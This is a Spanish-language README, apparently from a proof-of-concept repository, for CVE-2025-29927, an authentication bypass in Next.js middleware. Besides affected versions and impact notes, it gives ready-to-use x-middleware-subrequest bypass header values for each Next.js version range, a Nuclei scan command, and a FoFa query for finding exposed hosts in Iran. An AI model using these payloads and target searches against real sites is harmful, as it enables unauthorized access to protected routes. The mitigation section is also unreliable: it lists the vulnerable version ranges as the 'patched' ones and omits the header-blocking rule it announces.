CVE-2025-29927

CVE-2025-29927: Vulnerabilidad de evasión de middleware en Next.js Este repositorio demuestra la vulnerabilidad CVE-2025-29927 en Next.js, donde el encabezado interno x-middleware-subrequest puede utilizarse para evadir comprobaciones de middleware como la autenticación.

Versiones afectadas

Next.js 15.x < 15.2.3
Next.js 14.x < 14.2.25
Next.js 13.x < 13.5.9

Mitigación y remediación

• Actualice Next.js a las versiones parcheadas:

Next.js 15.x < 15.2.3
Next.js 14.x < 14.2.25
Next.js 13.x < 13.5.9

• Si la actualización no es posible de inmediato, bloquee o elimine el encabezado x-middleware-subrequest a nivel del servidor web o del proxy:

Escenarios de impacto

• Evasión de autorización: los atacantes pueden acceder a rutas protegidas sin la autenticación o autorización adecuada.
• Evasión de la Política de Seguridad del Contenido (CSP): si los encabezados CSP se añaden mediante middleware, los atacantes pueden evadir estos controles de seguridad, lo que potencialmente permite ataques de cross-site scripting (XSS).
• Denegación de servicio mediante envenenamiento de caché: en ciertas configuraciones, los atacantes podrían envenenar las cachés con contenido no autorizado evadiendo el middleware que establece los encabezados de control de caché.

Uso de la plantilla de Nuclei para nextjs-CVE-2025-29927

nuclei -u https://example.com -t ./CVE-2025-29927.yaml -fr

Explotación en diferentes versiones de Next.js

• Para versiones anteriores a 12.2:

x-middleware-subrequest: pages/_middleware
x-middleware-subrequest: pages/dashboard/_middleware
x-middleware-subrequest: pages/dashboard/panel/_middleware

• Para versiones 12.2 y posteriores:

x-middleware-subrequest: middleware
x-middleware-subrequest: src/middleware

• Para versiones 13.2.0 y posteriores:

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

Búsqueda de objetivos con FoFa

header="x-middleware-rewrite" && country="IR"

CTF gratuito para esto

• CTF